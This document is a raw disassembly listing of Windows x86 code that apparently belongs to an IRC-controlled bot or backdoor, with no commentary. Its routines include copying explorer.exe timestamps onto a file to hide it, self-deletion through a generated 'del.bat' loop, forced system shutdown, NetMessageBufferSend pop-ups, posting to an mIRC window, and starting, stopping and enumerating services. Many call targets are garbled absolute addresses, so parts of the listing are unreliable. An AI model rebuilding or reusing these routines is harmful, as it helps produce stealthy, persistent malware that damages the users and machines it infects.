sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi


loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx


loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; ___:00415EEBp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687


loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx


loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637


loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------


loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	near ptr 269086Bh
		nop
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 2800000h
		nop
		lea	eax, [ebp+var_100]


loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1


loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------


loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1


loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB17C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9A4
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CB9C4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		nop
		call	near ptr 281061Bh
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2810000h
		call	dword_4CBA28
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB9E0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2820000h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 2810E14h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA30
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA30
		push	ebx
		nop
		call	near ptr 2810B24h
		push	edi
		call	near ptr 2670770h
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------


loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax


loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2830000h
		push	ebx
		mov	ebx, dword_427070
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 28206BCh
		push	esi
		call	ebx


loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB914
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; ___:00416C12p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAA4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx


loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	near ptr 2730000h
		nop
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2720000h
		nop
		push	edi
		nop
		call	near ptr 2670770h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DB88
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 26A0000h
		nop
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_15C]
		push	eax
		call	near ptr 2690E7Eh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2690D47h


loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2840000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 26709E4h


loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26F0000h
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB954
		push	edi
		push	eax
		call	dword_4CB964
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_4394FC


loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------


loc_418AB6:				; CODE XREF: sub_418A2E+57j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_4394D4
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------


loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394A4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26F0000h
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47


loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	near ptr 26B0AD3h
		nop
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26C0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27C0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26A07AFh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439520[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_43951C[esi]
		push	offset unk_439630


loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA40
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------


loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_439604
		jmp	short loc_418C46
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA40
		push	off_439518[eax*4]
		push	offset unk_4395E0
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB9C8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		nop
		call	near ptr 269086Bh
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------


loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB8B0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		nop
		call	near ptr 269086Bh
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB91C
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB8B8
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB920


loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		nop
		call	near ptr 269086Bh
		mov	ebx, eax


loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB8CC


loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB8CC
		pop	esi


loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump


loc_418E03:				; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB380
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB380
		call	sub_41C266
		add	esp, 0Ch


loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB380
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB9C8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB994
		test	eax, eax
		jnz	short loc_418F1A
		nop
		call	near ptr 269086Bh
		cmp	eax, 0EAh
		jnz	loc_418FCE


loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
